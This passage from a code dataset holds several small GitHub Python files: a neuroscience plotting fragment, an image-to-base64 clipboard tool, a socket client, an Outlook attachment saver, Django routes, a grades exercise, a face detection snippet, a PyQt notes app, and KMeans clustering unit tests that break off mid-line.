'{0}_isi_histograms.pdf'.format(fileNameTemplate)\n# #fig.savefig(fname)\n#\n# # CV plots, as a function of window length\n# if (self.ISINWindows != 0):\n# winLens = np.arange(1, self.ISINWindows+1)*thetaT\n# CVs = spikes.ISICV(n=maxRateIdx[0:self.nRows*self.nCols],\n# winLen=winLens)\n# fig = plt.figure(figsize=(11.69, 6.57))\n# gs = plt.GridSpec(self.nRows, self.nCols)\n# it = 0\n# for r in xrange(self.nRows):\n# for c in xrange(self.nCols):\n# if (it >= spikes.N):\n# break\n#\n# ax = plt.subplot(gs[r, c])\n# ax.plot(winLens, CVs[it])\n# if (r == self.nRows - 1):\n# ax.set_xlabel('Window (ms)')\n# ax.xaxis.set_major_locator(ti.LinearLocator(2))\n# ax.yaxis.set_major_locator(ti.MaxNLocator(3))\n# it += 1\n#\n# gs.tight_layout(fig)\n# fname = '{0}_isi_CV_window.pdf'.format(fileNameTemplate)\n# fig.savefig(fname)\n#\n#\n","repo_name":"MattNolanLab/ei-attractor","sub_path":"grid_cell_model/visitors/plotting/spikes.py","file_name":"spikes.py","file_ext":"py","file_size_in_byte":6670,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"0"}
+{"seq_id":"13184965153","text":"import base64\nimport argparse\nimport win32clipboard as w\nimport win32con\n\ndef get_parser():\n \"\"\"\n 解析命令行参数\n \"\"\"\n parser = argparse.ArgumentParser(description='Transfor image to base64')\n parser.add_argument('-a', '--address', type=str, help='image address')\n return parser\n\ndef command_line_runner():\n parser = get_parser()\n args = vars(parser.parse_args())\n bs64code = transfor(addr=args[\"address\"]) \n _print(bs64code)\n w.OpenClipboard()\n w.EmptyClipboard()\n w.SetClipboardData(win32con.CF_TEXT, bs64code)\n w.CloseClipboard()\n\n\ndef transfor(addr):\n f=open(addr,'rb') #二进制方式打开图文件\n ls_f=base64.b64encode(f.read()) #读取文件内容,转换为base64编码\n f.close()\n return ls_f\n\ndef _print(bs64code):\n \"\"\" 在终端界面输出结果\n :param bs64code: 转换后的结果\n \"\"\"\n if not bs64code:\n return\n print(bs64code)\n\nif __name__ == \"__main__\":\n command_line_runner()\n","repo_name":"wanwey/python","sub_path":"image_to_base64.py","file_name":"image_to_base64.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"38417030820","text":"from socket import *\n\n# server address, first connection with server on this comp (localhost)\nserver_address = ('localhost', 5400)\n\nwhile True:\n # waiting for message\n msg = input(': ')\n bin_msg = bytes(msg, 'utf-8')\n\n client = socket(AF_INET, SOCK_STREAM)\n\n try:\n client.connect(server_address)\n client.sendall(bin_msg)\n # waiting for answer\n data = client.recv(1024)\n print('Server answer:', data.decode('utf-8'))\n except:\n print('not connected')\n\n finally:\n client.close()\n\n\n\n\n\n","repo_name":"Xeont88/messenger","sub_path":"Simple_serverClient.py","file_name":"Simple_serverClient.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"30011550166","text":"import win32com.client as win32\r\nimport os\r\n\r\n\r\nget_path = 'C:\\\\Users\\\\Qichang Ql\\\\Desktop'\r\n\r\n\r\noutlook = win32.Dispatch('Outlook.Application')\r\n\r\n\r\nnamespace = outlook.GetNamespace('MAPI')\r\naccount = namespace.Folders['sekikishuo@gmail.com']\r\nGmail = account.Folders['[Gmail]']\r\njyuyo = Gmail.Folders['ゴミ箱']\r\n# print(inbox.Items.count)\r\nyt_email = [mail for mail in jyuyo.Items if mail.SenderEmailAddress.endswith('gmail.com')]\r\nfor mail in yt_email:\r\n print(mail)\r\n attachments = mail.Attachments\r\n num_attach = len([x for x in attachments])\r\n print(num_attach)\r\n for x in range(1, num_attach+1):\r\n print(x)\r\n attachment = attachments.Item(x)\r\n attachment.SaveAsFile(os.path.join(get_path, attachment.FileName))\r\n print(attachment, \"saved!\")\r\n\r\n","repo_name":"QC1988/RPA_for_email","sub_path":"search_organize_email.py","file_name":"search_organize_email.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"18940645172","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom .views import *\nurlpatterns = [\n\n path('get/',getTest),\n path('get/',getTest),\n path('post/',postTest),\n path('all/', updateTestv),\n path('update/', updatesv),\n path('save/', save),\n path('delete/', delete)\n\n]\n","repo_name":"yahiaelpronc/DjangoLabs","sub_path":"Lab2/Day4/Mahmmoud-Ahmed-Shawky/Consum/Test/testurl.py","file_name":"testurl.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"29150976127","text":"\nd={\"9247\":{\"age\":20,\n \"grades\":{\"math\":15,\n \"chem\":14},\n \"year\":1397\n },\n \"9248\":{\"age\":21,\n \"grades\":{\"math\":18,\n \"chem\":13},\n \"year\":1396\n }\n }\n\nid=input(\"Enter the student ID :\")\nprint(\"age : \",d[id][\"age\"])\nprint(\"grade math : \",d[id][\"grades\"][\"math\"])\nprint(\"grade chem : \",d[id][\"grades\"][\"chem\"])\nprint(\"year : \",d[id][\"year\"])\n\nd[\"9247\"][\"grades\"][\"physics\"]=10\nd[\"9248\"][\"grades\"][\"physics\"]=20\nprint(\"9247 grade physics : \",d[\"9247\"][\"grades\"][\"physics\"])\nprint(\"9248 grade physics : \",d[\"9248\"][\"grades\"][\"physics\"])\n\n","repo_name":"ramin-karimian/programming_2019_iust","sub_path":"codes/t06.py","file_name":"t06.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"43403276518","text":"import cv2\nimport face_detection\nprint(face_detection.available_detectors)\ndetector = face_detection.build_detector(\n \"RetinaNetMobileNetV1\", confidence_threshold=.5, nms_iou_threshold=.3)\n# BGR to RGB conversion due to opencv color ordering\nim = cv2.imread(\"test.jpg\")[:, :, ::-1]\n\ndetections = detector.detect(im)\nprint(len(detections))","repo_name":"CMompo/cloud-face-recognition","sub_path":"interaction-with-framework/alternative-face-recog-method/edge_video_stream.py","file_name":"edge_video_stream.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"12151152416","text":"from PyQt5 import QtGui, QtWidgets\nimport json\n\napp = QtWidgets.QApplication([])\n\nclass MainWindow(QtWidgets.QWidget):\n def __init__(self, width, height):\n super().__init__()\n self.resize(width, height)\n self.setWindowTitle('Заметки')\n self.setWindowIcon(QtGui.QIcon(r'C:\\Program Files\\notesFiles\\main.png'))\n self.globalHline = QtWidgets.QHBoxLayout() #главная горизонтальная линия\n self.globalVline1 = QtWidgets.QVBoxLayout()\n self.globalVline2 = QtWidgets.QVBoxLayout()\n self.searchLineLayout = QtWidgets.QHBoxLayout()\n #виджеты\n self.notesText = QtWidgets.QTextEdit()\n self.titleTextNotes = QtWidgets.QLabel('Список заметок:')\n self.listNotes = QtWidgets.QListWidget()\n self.createNoteButton = QtWidgets.QPushButton('Создать заметку')\n self.deleteNoteButton = QtWidgets.QPushButton('Удалить заметку')\n self.saveNoteButton = QtWidgets.QPushButton('Сохранить заметку')\n self.tagsTitle = QtWidgets.QLabel('Список тегов:')\n self.listTags = QtWidgets.QListWidget()\n self.searchLine = QtWidgets.QLineEdit()\n self.searchLine.setPlaceholderText('Введите тег...')\n self.clearButton = QtWidgets.QPushButton(icon=QtGui.QIcon(r'C:\\Program Files\\notesFiles\\iconDel.png'))\n self.addTagButton = QtWidgets.QPushButton('Добавить к заметке')\n self.delTagButton = QtWidgets.QPushButton('Открепить от заметки')\n self.searchNoteButton = QtWidgets.QPushButton('Искать заметки по тегу')\n #заркепление на лайаутах\n self.globalVline1.addWidget(self.notesText)\n self.globalVline2.addWidget(self.titleTextNotes)\n self.globalVline2.addWidget(self.listNotes)\n self.globalVline2.addWidget(self.createNoteButton)\n self.globalVline2.addWidget(self.deleteNoteButton)\n self.globalVline2.addWidget(self.saveNoteButton)\n self.globalVline2.addWidget(self.tagsTitle)\n self.globalVline2.addWidget(self.listTags)\n self.searchLineLayout.addWidget(self.searchLine, 90)\n self.searchLineLayout.addWidget(self.clearButton, 10)\n self.globalVline2.addLayout(self.searchLineLayout)\n self.globalVline2.addWidget(self.addTagButton)\n self.globalVline2.addWidget(self.delTagButton)\n self.globalVline2.addWidget(self.searchNoteButton)\n self.globalHline.addLayout(self.globalVline1)\n self.globalHline.addLayout(self.globalVline2)\n self.setLayout(self.globalHline)\n\nwindow = MainWindow(1000, 700)\nwindow.show()\n\nnotes = {}\n\ndef dump():\n try:\n with open('notes.json', 'w', encoding='utf-8') as file:\n json.dump(notes, file)\n except FileNotFoundError as e:\n show_message('Ошибка', e, r'C:\\Program Files\\notesFiles\\warning.png')\n\ndef load():\n global notes\n try:\n with open('notes.json', 'r', encoding='utf-8') as file:\n notes = json.load(file)\n except FileNotFoundError as e:\n show_message('Ошибка', e, r'C:\\Program Files\\notesFiles\\warning.png')\n\nload()\nwindow.listNotes.addItems(notes.keys())\n\ndef show_notes():\n name = window.listNotes.selectedItems()[0].text()\n note_text = notes[name]['text']\n note_tags = notes[name]['tags']\n window.notesText.setText(note_text)\n window.listTags.clear()\n window.listTags.addItems(note_tags)\n\ndef add_note():\n note_name, result = QtWidgets.QInputDialog.getText(window, 'Добавить заметку', 'Название:')\n if result and note_name != '':\n notes[note_name] = {\n 'text': '',\n 'tags': []\n }\n dump()\n window.listNotes.clear()\n window.listNotes.addItems(notes.keys())\n\ndef show_message(title:str, text:str, icon=r'C:\\Program Files\\notesFiles\\main.png') -> None:\n message = QtWidgets.QMessageBox(window)\n message.setWindowTitle(str(title))\n message.setWindowIcon(QtGui.QIcon(icon))\n message.setText(str(text))\n message.show()\n message.exec_()\n\ndef delete_note():\n if len(window.listNotes.selectedItems()) != 0:\n try:\n del notes[window.listNotes.selectedItems()[0].text()]\n dump()\n window.listNotes.clear()\n window.listNotes.addItems(notes.keys())\n show_message('Уведомление', 'Заметка удалена.', r'C:\\Program Files\\notesFiles\\sucsess.png')\n except FileNotFoundError as e:\n show_message('Ошибка', e, r'C:\\Program Files\\notesFiles\\warning.png')\n else:\n show_message('Предупреждение', 'Выберите заметку для удаления.', r'C:\\Program Files\\notesFiles\\warning.png')\n\ndef save_note():\n if len(window.listNotes.selectedItems()) != 0:\n key = window.listNotes.selectedItems()[0].text()\n text = window.notesText.toPlainText() #возвращает текст заметки\n notes[key]['text'] = text\n dump()\n show_message('Уведомление', 'Данные сохранены.', r'C:\\Program Files\\notesFiles\\sucsess.png')\n else:\n show_message('Предупреждение', 'Выберите заметку для сохранения.', r'C:\\Program Files\\notesFiles\\warning.png')\n\ndef add_tag():\n if len(window.listNotes.selectedItems()) != 0:\n if window.searchLine.text() != '' and window.searchLine.text().isspace() == False:\n key = window.listNotes.selectedItems()[0].text()\n if window.searchLine.text() not in notes[key]['tags']:\n notes[key]['tags'].append(window.searchLine.text())\n dump()\n window.listTags.clear()\n window.listTags.addItems(notes[key]['tags'])\n else:\n show_message('Ошибка', 'Данный тег уже присутствует.', r'C:\\Program Files\\notesFiles\\warning.png')\n window.searchLine.clear()\n else:\n show_message('Ошибка', 'Введён пустой текст.', r'C:\\Program Files\\notesFiles\\warning.png')\n else:\n show_message('Предупреждение', 'Выберите заметку для добавления тега.', r'C:\\Program Files\\notesFiles\\warning.png')\n\ndef delete_tag():\n if len(window.listTags.selectedItems()) != 0:\n key = window.listNotes.selectedItems()[0].text()\n notes[key]['tags'].remove(window.listTags.selectedItems()[0].text())\n window.listTags.clear()\n dump()\n window.listTags.addItems(notes[key]['tags'])\n else:\n show_message('Предупреждение', 'Выберите тег для удаления.', r'C:\\Program Files\\notesFiles\\warning.png')\n\ndef search_tag():\n if window.searchLine.text() != '':\n if window.searchLine.text().isspace() == False:\n l = []\n for element in notes:\n if window.searchLine.text() in notes[element]['tags']:\n l.append(element)\n window.listNotes.clear()\n window.listNotes.addItems(l)\n if len(l) == 0:\n show_message('Уведомление', 'Заметок с таким тегом не найдено.', r'C:\\Program Files\\notesFiles\\warning.png')\n else:\n window.listNotes.clear()\n window.listNotes.addItems(notes)\n\ndef clearSearchLine():\n window.searchLine.clear()\n window.listNotes.clear()\n window.listNotes.addItems(notes)\n \nwindow.listNotes.itemClicked.connect(show_notes)\nwindow.createNoteButton.clicked.connect(add_note)\nwindow.deleteNoteButton.clicked.connect(delete_note)\nwindow.saveNoteButton.clicked.connect(save_note)\nwindow.addTagButton.clicked.connect(add_tag)\nwindow.delTagButton.clicked.connect(delete_tag)\nwindow.searchNoteButton.clicked.connect(search_tag)\nwindow.clearButton.clicked.connect(clearSearchLine)\n\napp.exec_()","repo_name":"ArtyomFadeev774/Notes","sub_path":"notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":8076,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37081835796","text":"import random\nimport unittest\nimport warnings\n\nimport numpy as np\nimport pytest\nfrom numpy.testing import assert_equal, assert_\nfrom sklearn.datasets import make_blobs\nfrom sklearn.utils.extmath import row_norms\n\nimport deeptime as dt\nimport deeptime.clustering\nfrom tests.testing_utilities import ProgressMock\n\n\ndef cluster_kmeans(data, k, max_iter=5, init_strategy='kmeans++', fixed_seed=False, n_jobs=None, cluster_centers=None,\n callback_init_centers=None, callback_loop=None) -> (\ndt.clustering.KMeans, dt.clustering.ClusterModel):\n est = dt.clustering.KMeans(n_clusters=k, max_iter=max_iter, init_strategy=init_strategy,\n fixed_seed=fixed_seed, n_jobs=n_jobs,\n initial_centers=np.array(cluster_centers) if cluster_centers is not None else None)\n est.fit(data, callback_init_centers=callback_init_centers, callback_loop=callback_loop)\n model = est.fetch_model()\n return est, model\n\n\n@pytest.mark.parametrize(\"est\", [dt.clustering.KMeans, dt.clustering.MiniBatchKMeans])\ndef test_1d_data(est):\n data = np.ones((500,), dtype=np.float32)\n estimator = est(1)\n clustering = estimator.fit(data, initial_centers=np.array([[.5]])).fetch_model()\n assert_equal(clustering.n_clusters, 1)\n assert_equal(clustering.cluster_centers[0], [1])\n\n\n@pytest.mark.parametrize(\"squared\", [True, False], ids=lambda x: \"squared {}\".format(x))\n@pytest.mark.parametrize(\"precomputed_XX\", [True, False], ids=lambda x: \"XX {}\".format(x))\n@pytest.mark.parametrize(\"precomputed_YY\", [True, False], ids=lambda x: \"YY {}\".format(x))\ndef test_distances(squared, precomputed_XX, precomputed_YY):\n X = np.random.uniform(-5, 5, size=(50, 3)).astype(np.float64)\n Y = np.random.uniform(-3, 3, size=(70, 3)).astype(np.float64)\n XX = row_norms(X, squared=True).astype(np.float64) if precomputed_XX else None\n YY = row_norms(Y, squared=True).astype(np.float64) if precomputed_YY else None\n impl = deeptime.clustering.metrics['euclidean']\n if squared:\n dists = impl.distances_squared(X, Y, XX=XX, YY=YY)\n else:\n dists = impl.distances(X, Y, XX=XX, YY=YY)\n np.testing.assert_equal(dists.shape, (len(X), len(Y)))\n for i in range(len(X)):\n for j in range(len(Y)):\n d = np.linalg.norm(X[i] - Y[j])\n if squared:\n d *= d\n np.testing.assert_almost_equal(dists[i, j], d, decimal=4)\n\n\n@pytest.mark.parametrize(\"seed\", [463498, True, 555])\n@pytest.mark.parametrize(\"init_strategy\", [\"uniform\", \"kmeans++\"])\ndef test_3gaussian_1d_singletraj(seed, init_strategy):\n # generate 1D data from three gaussians\n state = np.random.RandomState(42)\n X = [state.randn(200) - 2.0,\n state.randn(200),\n state.randn(200) + 2.0]\n X = np.atleast_2d(np.hstack(X)).T\n X = X.astype(np.float32)\n k = 50\n\n kmeans, model = cluster_kmeans(X, k=k, init_strategy=init_strategy, n_jobs=1, fixed_seed=seed, max_iter=500)\n cc = model.cluster_centers\n np.testing.assert_(np.all(np.isfinite(cc)), msg=\"cluster centers borked for strat %s\" % init_strategy)\n assert (np.any(cc < 1.0)), \"failed for init_strategy=%s\" % init_strategy\n assert (np.any((cc > -1.0) * (cc < 1.0))), \"failed for init_strategy=%s\" % init_strategy\n assert (np.any(cc > -1.0)), \"failed for init_strategy=%s\" % init_strategy\n\n km1, model1 = cluster_kmeans(X, k=k, init_strategy=init_strategy, fixed_seed=seed, n_jobs=1, max_iter=500)\n km2, model2 = cluster_kmeans(X, k=k, init_strategy=init_strategy, fixed_seed=seed, n_jobs=1, max_iter=500)\n np.testing.assert_equal(len(model1.cluster_centers), k)\n np.testing.assert_equal(len(model2.cluster_centers), k)\n np.testing.assert_equal(model1.n_clusters, k)\n np.testing.assert_equal(model2.n_clusters, k)\n np.testing.assert_(model1.converged)\n np.testing.assert_(model2.converged)\n\n # check initial centers (after kmeans++, uniform init) are equal.\n np.testing.assert_equal(km1.initial_centers, km2.initial_centers, err_msg='not eq for {} and seed={}'\n .format(init_strategy, seed))\n\n while not model1.converged:\n km1.fit(data=X, initial_centers=model1.cluster_centers)\n model1 = km1.fetch_model()\n while not model2.converged:\n km2.fit(data=X, initial_centers=model2.cluster_centers)\n model2 = km2.fetch_model()\n\n assert np.linalg.norm(model1.cluster_centers - km1.initial_centers) > 0\n np.testing.assert_array_almost_equal(model1.cluster_centers, model2.cluster_centers)\n np.testing.assert_allclose(model1.cluster_centers, model2.cluster_centers,\n err_msg=\"should yield same centers with fixed seed=%s for strategy %s, \"\n \"Initial centers=%s\"\n % (seed, init_strategy, km2.initial_centers))\n np.testing.assert_almost_equal(model1.inertia, model1.score(X), decimal=4)\n\n\ndef test_kmeans_model_direct():\n m = dt.clustering.KMeansModel(np.random.normal(size=(3, 3)), 'euclidean')\n np.testing.assert_equal(m.inertias, None)\n np.testing.assert_equal(m.inertia, None)\n\n\nclass TestKmeans(unittest.TestCase):\n\n def test_properties(self):\n k = 6\n data = make_blobs(n_samples=500, random_state=45, centers=k, cluster_std=0.5, shuffle=False)[0]\n small_data = make_blobs(n_samples=2, random_state=45, centers=k, cluster_std=0.5, shuffle=False)[0]\n\n estimator = dt.clustering.KMeans(k, max_iter=10000, metric='euclidean', tolerance=1e-7, init_strategy='uniform',\n fixed_seed=17, n_jobs=1, initial_centers=None)\n\n with np.testing.assert_raises(ValueError):\n estimator.initial_centers = np.random.normal(size=(7, 3)) # too many initial centers\n\n with np.testing.assert_raises(ValueError):\n estimator.metric = 'bogus' # does not exist\n\n with np.testing.assert_raises(ValueError):\n estimator.init_strategy = 'bogus' # does not exist\n\n with np.testing.assert_raises(ValueError):\n estimator.fixed_seed = 'test' # not supported to use strings\n\n with np.testing.assert_raises(ValueError):\n estimator.transform(np.random.normal(size=(5, 3))) # no model there yet\n\n np.testing.assert_equal(estimator.n_clusters, k)\n np.testing.assert_equal(estimator.max_iter, 10000)\n np.testing.assert_equal(estimator.metric, 'euclidean')\n np.testing.assert_equal(estimator.tolerance, 1e-7)\n np.testing.assert_equal(estimator.init_strategy, 'uniform')\n np.testing.assert_equal(estimator.fixed_seed, 17)\n np.testing.assert_equal(estimator.n_jobs, 1)\n np.testing.assert_equal(estimator.initial_centers, None)\n\n with np.testing.assert_raises(ValueError):\n estimator.fit(small_data) # data is too small to pick initial centers\n\n model = estimator.fit(data).fetch_model()\n np.testing.assert_equal(model.n_clusters, k)\n np.testing.assert_equal(model.tolerance, 1e-7)\n np.testing.assert_equal(model.inertia, model.inertias[-1])\n np.testing.assert_(np.abs(model.inertias[-2] - model.inertias[-1]) <= model.tolerance)\n np.testing.assert_equal(model.metric, 'euclidean')\n\n def test_data_are_centers(self):\n data = np.random.normal(size=(5, 500))\n km = dt.clustering.KMeans(n_clusters=5, initial_centers=data)\n clustering = km.fit(data).fetch_model()\n np.testing.assert_equal(clustering.transform(data), np.arange(5))\n\n def test_check_convergence_serial_parallel(self):\n \"\"\" check serial and parallel version of kmeans converge to the same centers.\n\n Artificial data set is created with 6 disjoint point blobs, to ensure the parallel and the serial version\n converge to the same result. If the blobs would overlap we can not guarantee this, because the parallel version\n can potentially converge to a closer point, which is chosen in a non-deterministic way (multiple threads).\n \"\"\"\n k = 6\n max_iter = 50\n data = make_blobs(n_samples=500, random_state=45, centers=k, cluster_std=0.5, shuffle=False)[0]\n repeat = True\n it = 0\n # since this can fail in like one of 100 runs, we repeat until success.\n while repeat and it < 3:\n for strat in ('uniform', 'kmeans++'):\n seed = random.randint(0, 2 ** 32 - 1)\n cl_serial, model_serial = cluster_kmeans(data, k=k, n_jobs=1, fixed_seed=seed, max_iter=max_iter,\n init_strategy=strat)\n cl_parallel, model_parallel = cluster_kmeans(data, k=k, n_jobs=2, fixed_seed=seed, max_iter=max_iter,\n init_strategy=strat)\n try:\n np.testing.assert_allclose(model_serial.cluster_centers, model_parallel.cluster_centers, atol=1e-4)\n repeat = False\n except AssertionError:\n repeat = True\n it += 1\n\n def test_negative_seed(self):\n \"\"\" ensure negative seeds converted to something positive\"\"\"\n km, model = cluster_kmeans(np.random.random((10, 3)), k=2, fixed_seed=-1)\n self.assertGreaterEqual(km.fixed_seed, 0)\n\n def test_seed_too_large(self):\n km, model = cluster_kmeans(np.random.random((10, 3)), k=2, fixed_seed=2 ** 32)\n assert km.fixed_seed < 2 ** 32\n\n def test_3gaussian_2d_multitraj(self):\n # generate 1D data from three gaussians\n X1 = np.zeros((100, 2))\n X1[:, 0] = np.random.randn(100) - 2.0\n X2 = np.zeros((100, 2))\n X2[:, 0] = np.random.randn(100)\n X3 = np.zeros((100, 2))\n X3[:, 0] = np.random.randn(100) + 2.0\n X = [X1, X2, X3]\n kmeans, model = cluster_kmeans(np.concatenate(X), k=10)\n cc = model.cluster_centers\n assert (np.any(cc < 1.0))\n assert (np.any((cc > -1.0) * (cc < 1.0)))\n assert (np.any(cc > -1.0))\n\n def test_kmeans_equilibrium_state(self):\n initial_centersequilibrium = np.array([0, 0, 0])\n X = np.array([\n np.array([1, 1, 1], dtype=np.float32), np.array([1, 1, -1], dtype=np.float32),\n np.array([1, -1, -1], dtype=np.float32), np.array([-1, -1, -1], dtype=np.float32),\n np.array([-1, 1, 1], dtype=np.float32), np.array([-1, -1, 1], dtype=np.float32),\n np.array([-1, 1, -1], dtype=np.float32), np.array([1, -1, 1], dtype=np.float32)\n ])\n kmeans, model = cluster_kmeans(X, k=1)\n self.assertEqual(1, len(model.cluster_centers), 'If k=1, there should be only one output center.')\n msg = 'Type=' + str(type(kmeans)) + '. ' + \\\n 'In an equilibrium state the resulting centers should not be different from the initial centers.'\n np.testing.assert_equal(initial_centersequilibrium.squeeze(), model.cluster_centers.squeeze(), err_msg=msg)\n\n def test_kmeans_converge_outlier_to_equilibrium_state(self):\n initial_centersequilibrium = np.array([[2, 0, 0], [-2, 0, 0]]).astype(np.float32)\n X = np.array([\n np.array([1, 1.1, 1], dtype=np.float32), np.array([1, 1, -1], dtype=np.float32),\n np.array([1, -1, -1], dtype=np.float32), np.array([-1, -1, -1], dtype=np.float32),\n np.array([-1, 1, 1], dtype=np.float32), np.array([-1, -1, 1], dtype=np.float32),\n np.array([-1, 1, -1], dtype=np.float32), np.array([1, -1, 1], dtype=np.float32)\n ])\n X = np.atleast_2d(X)\n kmeans, model = cluster_kmeans(X, k=2, cluster_centers=initial_centersequilibrium, max_iter=500, n_jobs=1)\n cl = model.cluster_centers\n import sklearn.cluster as skcl\n with warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\")\n centers, labels, inertia = skcl.k_means(X, n_clusters=2, init=cl)\n\n if not np.all(np.abs(cl) <= 1):\n centers, labels, inertia = skcl.k_means(X, n_clusters=2, init=cl)\n assert np.all(np.abs(centers) <= 1), f\"Got clustercenters {cl}\"\n assert np.all(np.abs(cl) <= 1), f\"Got clustercenters {cl}\"\n\n def test_kmeans_convex_hull(self):\n points = [\n [-212129 / 100000, -20411 / 50000, 2887 / 5000],\n [-212129 / 100000, 40827 / 100000, -5773 / 10000],\n [-141419 / 100000, -5103 / 3125, 2887 / 5000],\n [-141419 / 100000, 1 / 50000, -433 / 250],\n [-70709 / 50000, 3 / 100000, 17321 / 10000],\n [-70709 / 50000, 163301 / 100000, -5773 / 10000],\n [-70709 / 100000, -204121 / 100000, -5773 / 10000],\n [-70709 / 100000, -15309 / 12500, -433 / 250],\n [-17677 / 25000, -122471 / 100000, 17321 / 10000],\n [-70707 / 100000, 122477 / 100000, 17321 / 10000],\n [-70707 / 100000, 102063 / 50000, 2887 / 5000],\n [-17677 / 25000, 30619 / 25000, -433 / 250],\n [8839 / 12500, -15309 / 12500, -433 / 250],\n [35357 / 50000, 102063 / 50000, 2887 / 5000],\n [8839 / 12500, -204121 / 100000, -5773 / 10000],\n [70713 / 100000, -122471 / 100000, 17321 / 10000],\n [70713 / 100000, 30619 / 25000, -433 / 250],\n [35357 / 50000, 122477 / 100000, 17321 / 10000],\n [106067 / 50000, -20411 / 50000, 2887 / 5000],\n [141423 / 100000, -5103 / 3125, 2887 / 5000],\n [141423 / 100000, 1 / 50000, -433 / 250],\n [8839 / 6250, 3 / 100000, 17321 / 10000],\n [8839 / 6250, 163301 / 100000, -5773 / 10000],\n [106067 / 50000, 40827 / 100000, -5773 / 10000],\n ]\n kmeans, model = cluster_kmeans(np.asarray(points, dtype=np.float32), k=1)\n res = model.cluster_centers\n # Check hyperplane inequalities. If they are all fulfilled, the center lies within the convex hull.\n self.assertGreaterEqual(np.inner(np.array([-11785060650000, -6804069750000, -4811167325000], dtype=float),\n res) + 25000531219381, 0)\n self.assertGreaterEqual(\n np.inner(np.array([-1767759097500, 1020624896250, 721685304875], dtype=float), res) + 3749956484003, 0)\n self.assertGreaterEqual(np.inner(np.array([-70710363900000, -40824418500000, 57734973820000], dtype=float),\n res) + 199998509082907, 0)\n self.assertGreaterEqual(np.inner(np.array([70710363900000, 40824418500000, -57734973820000], dtype=float),\n res) + 199998705841169, 0)\n self.assertGreaterEqual(np.inner(np.array([70710363900000, -40824995850000, -28867412195000], dtype=float),\n res) + 149999651832937, 0)\n self.assertGreaterEqual(np.inner(np.array([-35355181950000, 20412497925000, -28867282787500], dtype=float),\n res) + 100001120662259, 0)\n self.assertGreaterEqual(\n np.inner(np.array([23570121300000, 13608139500000, 9622334650000], dtype=float), res) + 49998241292257,\n 0)\n self.assertGreaterEqual(np.inner(np.array([0, 577350000, -204125000], dtype=float), res) + 1060651231, 0)\n self.assertGreaterEqual(np.inner(np.array([35355181950000, -20412497925000, 28867282787500], dtype=float),\n res) + 99997486799779, 0)\n self.assertGreaterEqual(np.inner(np.array([0, 72168750, 51030625], dtype=float), res) + 176771554, 0)\n self.assertGreaterEqual(np.inner(np.array([0, -288675000, 102062500], dtype=float), res) + 530329843, 0)\n self.assertGreaterEqual(np.inner(np.array([0, 0, 250], dtype=float), res) + 433, 0)\n self.assertGreaterEqual(np.inner(np.array([0, -144337500, -102061250], dtype=float), res) + 353560531, 0)\n self.assertGreaterEqual(np.inner(np.array([0, 0, -10000], dtype=float), res) + 17321, 0)\n\n def test_with_callbacks(self):\n init = 0\n iter = 0\n\n def callback_init():\n nonlocal init\n init += 1\n\n def callback_loop():\n nonlocal iter\n iter += 1\n\n state = np.random.RandomState(42)\n data = state.rand(100, 3)\n cluster_kmeans(data, k=3, max_iter=2, callback_init_centers=callback_init,\n callback_loop=callback_loop)\n assert init == 3\n assert iter <= 2\n\n def test_noiter(self):\n initial_centers = np.array([[0, 0, 0], [1, 1, 1]]).astype(np.float32)\n X = np.random.rand(100, 3)\n kmeans, model = cluster_kmeans(X, k=2, cluster_centers=initial_centers, max_iter=0, n_jobs=1)\n\n np.testing.assert_(model.converged)\n np.testing.assert_array_equal(initial_centers, model.cluster_centers)\n\n\nclass TestKmeansResume(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n state = np.random.RandomState(32)\n # three gaussians\n X = [state.randn(1000) - 2.0,\n state.randn(1000),\n state.randn(1000) + 2.0]\n cls.X = np.atleast_2d(np.hstack(X)).T\n\n def test_resume(self):\n \"\"\" check that we can continue with the iteration by passing centers\"\"\"\n initial_centers = np.array([[20, 42, -29]]).T\n cl, model = cluster_kmeans(self.X, cluster_centers=initial_centers,\n max_iter=2, k=3)\n\n resume_centers = model.cluster_centers\n cl.max_iter = 500\n cl.fit(self.X, initial_centers=resume_centers)\n new_centers = cl.fetch_model().cluster_centers\n\n true = np.array([-2, 0, 2])\n d0 = true - resume_centers\n d1 = true - new_centers\n\n diff = np.linalg.norm(d0)\n diff_next = np.linalg.norm(d1)\n\n self.assertLess(diff_next, diff, 'resume_centers=%s, new_centers=%s' % (resume_centers, new_centers))\n\n def test_synthetic_trivial(self):\n test_data = np.zeros((40000, 4))\n test_data[0:10000, :] = 30.0\n test_data[10000:20000, :] = 60.0\n test_data[20000:30000, :] = 90.0\n test_data[30000:, :] = 120.0\n\n expected = np.array([30.0] * 4), np.array([60.] * 4), np.array([90.] * 4), np.array([120.] * 4)\n cl, model = cluster_kmeans(test_data, k=4)\n found = [False] * 4\n for center in model.cluster_centers:\n for i, e in enumerate(expected):\n if np.all(center == e):\n found[i] = True\n\n assert np.all(found)\n\n\n@pytest.mark.parametrize(\"with_progress_bar\", [True, False])\ndef test_kmeans_progress(with_progress_bar):\n progress_instances = []\n\n class ProgressFactory:\n def __new__(cls, *args, **kwargs):\n progress = ProgressMock()\n progress_instances.append(progress)\n return progress\n\n n_init_callbacks = 0\n n_loop_callbacks = 0\n\n def init_callback(*_):\n nonlocal n_init_callbacks\n n_init_callbacks += 1\n\n def loop_callback(*_):\n nonlocal n_loop_callbacks\n n_loop_callbacks += 1\n\n data = np.random.uniform(-10, 10, size=(100, 5))\n kmeans = 